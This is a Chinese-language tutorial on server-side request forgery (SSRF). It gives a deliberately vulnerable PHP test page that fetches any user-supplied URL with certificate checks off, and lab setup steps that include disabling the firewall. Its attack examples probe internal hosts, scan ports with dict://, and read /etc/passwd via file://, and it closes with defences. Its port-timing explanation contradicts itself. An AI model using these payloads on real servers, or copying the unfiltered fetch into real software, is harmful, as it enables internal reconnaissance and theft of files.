SSRF漏洞简析

SSRF漏洞简析

1.漏洞介绍

SSRF服务器端请求伪造漏洞:
是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF访问的是目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)

2.漏洞成因

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等。

3.漏洞流程梳理

(1)正常用户访问网站的流程是:
输入A网站URL --> 发送请求 --> A服务器接受请求(没有过滤),并处理 -->返回用户响应
如某网站有个请求是www.xxx.com/xxx.php?www.abc.com/1.jpg
(产生的原因:服务器端的验证并没有对其请求获取图片的参数(image=)做出严格的过滤以及限制,导致A网站可以从其他服务器的获取数据)
(2)恶意攻击者修改请求
如果我们将www.abd.com/1.jpg换为与该服务器相连的内网服务器地址会产生什么效果呢?如果存在该内网地址就会返回1xx或2xx之类的状态码,不存在就会返回其他的状态码,所以可以利用ssrf漏洞进行内网探测。

4.简要总结

SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法的,然后服务器以他的身份来访问其他服务器的资源。
搭建环境测试ssrf漏洞:
环境:apache服务器+测试php页面

5.在centos下测试

apache安装启动记录:
1.安装:yum install httpd
2.启动:systemctl start httpd
3.默认网页存放地址:/var/www/html
4.关闭防火墙:systemctl stop firewalld.service
查看防火墙状态:systemctl status firewalld.service
5.在/etc/httpd/conf/httpd.conf文件下添加php运行环境

<IfModule dir_module>
DirectoryIndex ssrf.php index.html
</IfModule>

6.添加测试脚本:
在/var/www/html目录下新建ssrf.php文件,内容如下:

<?php
$url = @$_GET['url'];
if($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    $co = curl_exec($ch);
    curl_close($ch);
    echo $co;
}

7.在本地浏览器访问:
http://127.0.0.1/ssrf.php //测试成功

6.利用方式

(1)探测内网
http://127.0.0.1/ssrf.php?url=10.2.5.28,出现网页则证明该机器存在且开启web服务
SSRF漏洞简析

(2)探测端口
http://127.0.0.1/ssrf.php?url=dict://10.2.5.28:22 //返回时间为121ms
http://127.0.0.1/ssrf.php?url=dict://10.2.5.28:888888 //返回时间为9ms
根据页面的返回时间来探测内网机器端口是否打开,若打开耗时很小(10ms左右),则证明未开放;若打开耗时较大(100ms左右),则证明端口开放
(3)查看服务器上面的敏感信息
http://127.0.0.1/ssrf.php?url=file:///etc/passwd
SSRF漏洞简析

7.常见的防御方法

(1)过滤返回的信息,如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
(2)统一错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态。
(3)限制请求的端口,比如80,443,8080,8090。
(4)禁止不常用的协议,仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp://等引起的问题。

8.ssrf常发生的位置

(1)分享:通过URL地址分享网页内容
(2)转码服务
(3)在线翻译
(4)图片加载与下载:通过URL地址加载或下载图片
(5)图片、文章收藏功能
(6)未公开的api实现以及其他调用URL的功能

上一篇:Zimbra xxe+ssrf导致getshell


下一篇:SSRF漏洞(原理、挖掘点、漏洞利用、修复建议)